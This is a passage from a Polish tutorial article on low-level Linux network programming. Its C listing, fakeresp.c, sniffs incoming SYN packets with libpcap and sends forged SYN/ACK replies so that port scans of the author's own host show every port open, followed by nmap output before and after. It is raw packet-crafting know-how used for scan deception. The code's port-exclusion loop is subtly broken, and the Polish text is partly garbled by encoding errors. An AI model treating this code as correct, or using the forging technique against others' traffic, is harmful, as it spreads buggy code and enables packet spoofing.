skanowania portów, gdy fakeresp chroni naszego hosta.

Listing 8: fakeresp.c

char OUR_IP [] = {10 ,1 ,21 ,104};

char buf[] =

{

/* Ethernet II */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* destination */

0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , /* source */

0x08 , 0x00 , /* Type: IP */

/* IP */

0x45 , /* version: 4, header len: 20 */

0x00 ,

0x00 , 0x28 , /* total len: 40 */

0x00 , 0x00 , /* ID */

0x00 , 0x00 , /* flags , offset */

0x80 , /* TTL */

0x06 , /* proto: TCP */

0x00 , 0x00 , /* header checksum */

0x00 , 0x00 , 0x00 , 0x00 , /* source */

0x00 , 0x00 , 0x00 , 0x00 , /* destination */

/* TCP */

0x00 , 0x00 , /* source port */

0x00 , 0x00 , /* destination port */

0x00 , 0x00 , 0x00 , 0x00 , /* seq */

0x00 , 0x00 , 0x00 , 0x00 , /* ack */

0x50 , /* header len: 20 */

0x12 , /* flags: SYN ,ACK */

0xff , 0xff , /* window size */

0x00 , 0x00 , /* checksum */

0x00 , 0x00 /* urgent pointer */

};

/* [...] */

#define PORTS_COUNT 2 /* faktycznie otwarte porty */

unsigned short ports[PORTS_COUNT ]; /* ktore nasz program */

ports [0]= htons (22); /* powinien ignorowac */

ports [1]= htons (80);

/* [...] */

/* rozpoczynamy wachanie , nie potrzebujemy promiscuous mode */

descr = pcap_open_live(dev , -1, 0, -1, errbuf);

/* [...] */

/* petla , w ktorej odbieramy pakiety */

for (;;)

{

p = pcap_next(descr , &hdr);

if (p == NULL)

15



{

fprintf(stderr , "Blad podczas odbierania pakietu "

"(pcap_next () zawiodlo)\n");

return 1;

}

/* musi to byc pakiet IPv4 */

if (!(p[12] == 0x08 && p[13] == 0x00 && p[14] == 0x45))

continue;

/* musi to byc pakiet TCP */

if (!(p[23] == 0x06))

continue;

/* flagi: tylko SYN */

if (!(p[47]==0 x02))

continue;

/* tylko pakiety skierowane na nasze IP */

if (memcmp(OUR_IP , &p[30], 4))

continue;

/* jesli to jeden ze zdefiniowanych portow (22, 80), zostaw

* sytuacje w spokoju */

for (i=0; i<PORTS_COUNT; i++)

if (! memcmp (&ports[i], &p[36], 2))

continue;

/* Kopiujemy w odpowiedni sposob dane z otrzymanego pakietu do

* pakietu , ktory zamierzamy wyslac */

/* adres MAC */

memcpy (&buf[0], &p[6], 6);

memcpy (&buf[6], &p[0], 6);

/* adres IP */

memcpy (&buf[26], &p[30], 4);

memcpy (&buf[30], &p[26], 4);

/* port TCP */

memcpy (&buf[34], &p[36], 2);

memcpy (&buf[36], &p[34], 2);

/* IP identyfication */

buf [18] = (char)rand();

buf [19] = (char)rand();

/* ACK */

memcpy (&ack , &p[38], 4);

ack = ntohl(ack);

ack ++;

ack = htonl(ack);

memcpy (&buf[42], &ack , 4);

/* SEQ */

buf [38] = (char)rand();

buf [39] = (char)rand();

buf [40] = (char)rand();

buf [41] = (char)rand();

/* suma kontrolna IP */

buf [24] = 0x00;

buf [25] = 0x00;

sum = checksum (( unsigned short*)&buf[14], 20);
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memcpy (&buf[24], &sum , 2);

/* suma kontrolna TCP */

buf [50] = 0x00;

buf [51] = 0x00;

memset(pseudohdr , 0, 32);

memcpy (& pseudohdr [0], &buf[26], 4);

memcpy (& pseudohdr [4], &buf[30], 4);

pseudohdr [9] = 0x06;

pseudohdr [11] = 0x14;

memcpy (& pseudohdr [12], &buf[34], 20);

sum = checksum (( unsigned short*)pseudohdr , 32);

memcpy (&buf[50], &sum , 2);

/* wysylamy pakiet SYN ,ACK! */

if (sendto(sockfd , buf , 54, 0,

(struct sockaddr *)&addr , sizeof(addr)) == -1)

{

fprintf(stderr , "Blad: %s\n", strerror(errno));

close(sockfd);

return 1;

}

printf("."); /* kropeczka jako znak zwyciestwa */

fflush(stdout);

}

/* [...] */

Listing 9: Skanowanie hosta który nie u»ywa fakeresp

Interesting ports on 10.1.21.104:

Not shown: 1695 filtered ports

PORT STATE SERVICE

22/ tcp open ssh

80/ tcp open http

Listing 10: Skanowanie hosta u»ywaj¡cego fakeresp

Interesting ports on 10.1.21.104:

PORT STATE SERVICE

1/tcp open tcpmux

2/tcp open compressnet

3/tcp open compressnet

4/tcp open unknown

5/tcp open rje

6/tcp open unknown

***** bardzo dªuga lista otwartych portów *****

61439/ tcp open netprowler -manager

61440/ tcp open netprowler -manager2

61441/ tcp open netprowler -sensor

65301/ tcp open pcanywhere

9 Podsumowanie

Celem tego artykuªu byªo pokazanie, w jaki sposób w systemie operacyjnym opartym o j¡dro Linuksa wyko-
na¢ �w¡chanie� (podsªuchiwanie) oraz �wstrzykiwanie� (wysyªanie) pakietów sieciowych. Potrzebne narz¦dzia
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i umiej¦tno±ci zostaªy zobrazowane prostymi przykªadami. Mo»liwo±ci programów u»ywaj¡cych SOCK_RAW
oraz biblioteki libpcap ko«cz¡ si¦ razem z nasz¡ wiedz¡ o protokoªach sieciowych i wyobra¹ni¡.

Wykorzystane przykªady:
http://xploit.pl/materialy/xploit_02/niskopoziomowe_programowanie_sieciowe/

Strona domowa autora:
http://chomzee.ethernet.pl/
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